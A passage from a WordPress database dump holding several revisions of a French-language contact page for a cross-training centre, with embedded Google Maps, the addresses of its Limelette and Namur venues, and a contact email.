style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n&lt;iframe width=\&quot;300\&quot; height=\&quot;300\&quot; frameborder=\&quot;0\&quot; scrolling=\&quot;no\&quot; marginheight=\&quot;0\&quot; marginwidth=\&quot;0\&quot; src=\&quot;https://maps.google.be/maps?f=q&amp;amp;source=s_q&amp;amp;hl=fr&amp;amp;geocode=&amp;amp;q=Avenue+L%C3%A9on+Fournet,+20+-+Limelette+1342&amp;amp;aq=&amp;amp;sll=50.484709,4.855099&amp;amp;sspn=0.050462,0.077162&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Avenue+L%C3%A9on+Fournet+20,+1342+Ottignies-Louvain-la-Neuve,+Brabant+Wallon,+R%C3%A9gion+wallonne&amp;amp;t=m&amp;amp;ll=50.676229,4.582672&amp;amp;spn=0.032635,0.051498&amp;amp;z=13&amp;amp;iwloc=A&amp;amp;output=embed\&quot;&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;small&gt;&lt;/small&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;Choix d\'une salle&lt;/h1&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/map.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-390 aligncenter\&quot; alt=\&quot;map\&quot; src=\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/map-300x235.png\&quot; width=\&quot;300\&quot; height=\&quot;235\&quot; /&gt;&lt;/a&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '421-revision-v1', '', '', '2013-11-03 09:53:18', '2013-11-03 09:53:18', '', 421, 'http://www2.crosstrainingcenter.be/421-revision-v1/', 0, 'revision', '', 0),
(427, 1, '2013-11-03 09:54:33', '2013-11-03 09:54:33', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;Limelette :\r\n&lt;iframe width=\&quot;300\&quot; height=\&quot;300\&quot; frameborder=\&quot;0\&quot; scrolling=\&quot;no\&quot; marginheight=\&quot;0\&quot; marginwidth=\&quot;0\&quot; src=\&quot;https://maps.google.be/maps?f=q&amp;amp;source=s_q&amp;amp;hl=fr&amp;amp;geocode=&amp;amp;q=Avenue+L%C3%A9on+Fournet,+20+-+Limelette+1342&amp;amp;aq=&amp;amp;sll=50.484709,4.855099&amp;amp;sspn=0.050462,0.077162&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Avenue+L%C3%A9on+Fournet+20,+1342+Ottignies-Louvain-la-Neuve,+Brabant+Wallon,+R%C3%A9gion+wallonne&amp;amp;t=m&amp;amp;ll=50.676229,4.582672&amp;amp;spn=0.032635,0.051498&amp;amp;z=13&amp;amp;iwloc=A&amp;amp;output=embed\&quot;&gt;&lt;/iframe&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;Namur :\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+Namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.472583,4.860764&amp;amp;spn=0.065552,0.102997&amp;amp;z=12&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n&lt;br /&gt;&lt;small&gt;&lt;/small&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;Choix d\'une salle&lt;/h1&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/map.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-390 aligncenter\&quot; alt=\&quot;map\&quot; src=\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/map-300x235.png\&quot; width=\&quot;300\&quot; height=\&quot;235\&quot; /&gt;&lt;/a&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '421-revision-v1', '', '', '2013-11-03 09:54:33', '2013-11-03 09:54:33', '', 421, 'http://www2.crosstrainingcenter.be/421-revision-v1/', 0, 'revision', '', 0),
(428, 1, '2013-11-03 09:55:11', '2013-11-03 09:55:11', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;Limelette :&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?f=q&amp;amp;source=s_q&amp;amp;hl=fr&amp;amp;geocode=&amp;amp;q=Avenue+L%C3%A9on+Fournet,+20+-+Limelette+1342&amp;amp;aq=&amp;amp;sll=50.484709,4.855099&amp;amp;sspn=0.050462,0.077162&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Avenue+L%C3%A9on+Fournet+20,+1342+Ottignies-Louvain-la-Neuve,+Brabant+Wallon,+R%C3%A9gion+wallonne&amp;amp;t=m&amp;amp;ll=50.676229,4.582672&amp;amp;spn=0.032635,0.051498&amp;amp;z=13&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;Namur :&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+Namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.472583,4.860764&amp;amp;spn=0.065552,0.102997&amp;amp;z=12&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n\r\n&lt;small&gt;&lt;/small&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;Choix d\'une salle&lt;/h1&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/map.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-390 aligncenter\&quot; alt=\&quot;map\&quot; src=\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/map-300x235.png\&quot; width=\&quot;300\&quot; height=\&quot;235\&quot; /&gt;&lt;/a&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '421-revision-v1', '', '', '2013-11-03 09:55:11', '2013-11-03 09:55:11', '', 421, 'http://www2.crosstrainingcenter.be/421-revision-v1/', 0, 'revision', '', 0),
(431, 1, '2013-11-03 10:02:06', '2013-11-03 10:02:06', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;\r\nLimelette\r\n&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?f=q&amp;amp;source=s_q&amp;amp;hl=fr&amp;amp;geocode=&amp;amp;q=Avenue+L%C3%A9on+Fournet,+20+-+Limelette+1342&amp;amp;aq=&amp;amp;sll=50.484709,4.855099&amp;amp;sspn=0.050462,0.077162&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Avenue+L%C3%A9on+Fournet+20,+1342+Ottignies-Louvain-la-Neuve,+Brabant+Wallon,+R%C3%A9gion+wallonne&amp;amp;t=m&amp;amp;ll=50.676229,4.582672&amp;amp;spn=0.032635,0.051498&amp;amp;z=13&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;address&gt;Club Justine Henin\r\nAvenue Léon Fournet, 20\r\nLimelette 1342\r\n&lt;/address&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;\r\nNamur\r\n&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+Namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.472583,4.860764&amp;amp;spn=0.065552,0.102997&amp;amp;z=12&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;address&gt;Bowling et Squash de Namur\r\nChaussée de Perwez 251\r\n5002 Namur\r\n&lt;/address&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;Choix d\'une salle&lt;/h1&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/map.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-390 aligncenter\&quot; alt=\&quot;map\&quot; src=\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/map-300x235.png\&quot; width=\&quot;300\&quot; height=\&quot;235\&quot; /&gt;&lt;/a&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '421-revision-v1', '', '', '2013-11-03 10:02:06', '2013-11-03 10:02:06', '', 421, 'http://www2.crosstrainingcenter.be/421-revision-v1/', 0, 'revision', '', 0),
(429, 1, '2013-11-03 09:57:38', '2013-11-03 09:57:38', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;Limelette :&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?f=q&amp;amp;source=s_q&amp;amp;hl=fr&amp;amp;geocode=&amp;amp;q=Avenue+L%C3%A9on+Fournet,+20+-+Limelette+1342&amp;amp;aq=&amp;amp;sll=50.484709,4.855099&amp;amp;sspn=0.050462,0.077162&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Avenue+L%C3%A9on+Fournet+20,+1342+Ottignies-Louvain-la-Neuve,+Brabant+Wallon,+R%C3%A9gion+wallonne&amp;amp;t=m&amp;amp;ll=50.676229,4.582672&amp;amp;spn=0.032635,0.051498&amp;amp;z=13&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;address&gt;Club Justine Henin\r\n\r\nAvenue Léon Fournet, 20\r\n\r\nLimelette 1342&lt;/address&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;Namur :&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+Namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.472583,4.860764&amp;amp;spn=0.065552,0.102997&amp;amp;z=12&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;address&gt;Bowling et Squash de Namur\r\n\r\nChaussée de Perwez 251\r\n\r\n5002 Namur&lt;/address&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n\r\n&amp;nbsp;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;Choix d\'une salle&lt;/h1&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/map.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-390 aligncenter\&quot; alt=\&quot;map\&quot; src=\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/map-300x235.png\&quot; width=\&quot;300\&quot; height=\&quot;235\&quot; /&gt;&lt;/a&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '421-revision-v1', '', '', '2013-11-03 09:57:38', '2013-11-03 09:57:38', '', 421, 'http://www2.crosstrainingcenter.be/421-revision-v1/', 0, 'revision', '', 0),
(430, 1, '2013-11-03 10:00:12', '2013-11-03 10:00:12', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\nLimelette\r\n&lt;/div&gt;\r\n&lt;/div&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?f=q&amp;amp;source=s_q&amp;amp;hl=fr&amp;amp;geocode=&amp;amp;q=Avenue+L%C3%A9on+Fournet,+20+-+Limelette+1342&amp;amp;aq=&amp;amp;sll=50.484709,4.855099&amp;amp;sspn=0.050462,0.077162&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Avenue+L%C3%A9on+Fournet+20,+1342+Ottignies-Louvain-la-Neuve,+Brabant+Wallon,+R%C3%A9gion+wallonne&amp;amp;t=m&amp;amp;ll=50.676229,4.582672&amp;amp;spn=0.032635,0.051498&amp;amp;z=13&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;address&gt;Club Justine Henin\r\nAvenue Léon Fournet, 20\r\nLimelette 1342\r\n&lt;/address&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\nNamur\r\n&lt;/div&gt;\r\n&lt;/div&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+Namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.472583,4.860764&amp;amp;spn=0.065552,0.102997&amp;amp;z=12&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;address&gt;Bowling et Squash de Namur\r\nChaussée de Perwez 251\r\n5002 Namur\r\n&lt;/address&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;Choix d\'une salle&lt;/h1&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/map.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-390 aligncenter\&quot; alt=\&quot;map\&quot; src=\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/map-300x235.png\&quot; width=\&quot;300\&quot; height=\&quot;235\&quot; /&gt;&lt;/a&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '421-revision-v1', '', '', '2013-11-03 10:00:12', '2013-11-03 10:00:12', '', 421, 'http://www2.crosstrainingcenter.be/421-revision-v1/', 0, 'revision', '', 0),
(433, 1, '2013-11-03 10:06:28', '2013-11-03 10:06:28', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;Limelette&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?f=q&amp;amp;source=s_q&amp;amp;hl=fr&amp;amp;geocode=&amp;amp;q=Avenue+L%C3%A9on+Fournet,+20+-+Limelette+1342&amp;amp;aq=&amp;amp;sll=50.484709,4.855099&amp;amp;sspn=0.050462,0.077162&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Avenue+L%C3%A9on+Fournet+20,+1342+Ottignies-Louvain-la-Neuve,+Brabant+Wallon,+R%C3%A9gion+wallonne&amp;amp;t=m&amp;amp;ll=50.676229,4.582672&amp;amp;spn=0.032635,0.051498&amp;amp;z=13&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;address&gt;Club Justine Henin\r\nAvenue Léon Fournet, 20\r\nLimelette 1342&lt;/address&gt;&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;Namur&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+Namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.472583,4.860764&amp;amp;spn=0.065552,0.102997&amp;amp;z=12&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;address&gt;Bowling et Squash de Namur\r\nChaussée de Perwez 251\r\n5002 Namur&lt;/address&gt;&lt;address&gt;&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/address&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '421-revision-v1', '', '', '2013-11-03 10:06:28', '2013-11-03 10:06:28', '', 421, 'http://www2.crosstrainingcenter.be/421-revision-v1/', 0, 'revision', '', 0),
(432, 1, '2013-11-03 10:03:53', '2013-11-03 10:03:53', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;Limelette&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?f=q&amp;amp;source=s_q&amp;amp;hl=fr&amp;amp;geocode=&amp;amp;q=Avenue+L%C3%A9on+Fournet,+20+-+Limelette+1342&amp;amp;aq=&amp;amp;sll=50.484709,4.855099&amp;amp;sspn=0.050462,0.077162&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Avenue+L%C3%A9on+Fournet+20,+1342+Ottignies-Louvain-la-Neuve,+Brabant+Wallon,+R%C3%A9gion+wallonne&amp;amp;t=m&amp;amp;ll=50.676229,4.582672&amp;amp;spn=0.032635,0.051498&amp;amp;z=13&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;address&gt;Club Justine Henin\r\nAvenue Léon Fournet, 20\r\nLimelette 1342&lt;/address&gt;\r\n&lt;a href=mailto:info@crosstrainingcenter.be&gt;info@crosstrainingcenter.be&lt;/a&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;Namur&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+Namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.472583,4.860764&amp;amp;spn=0.065552,0.102997&amp;amp;z=12&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; 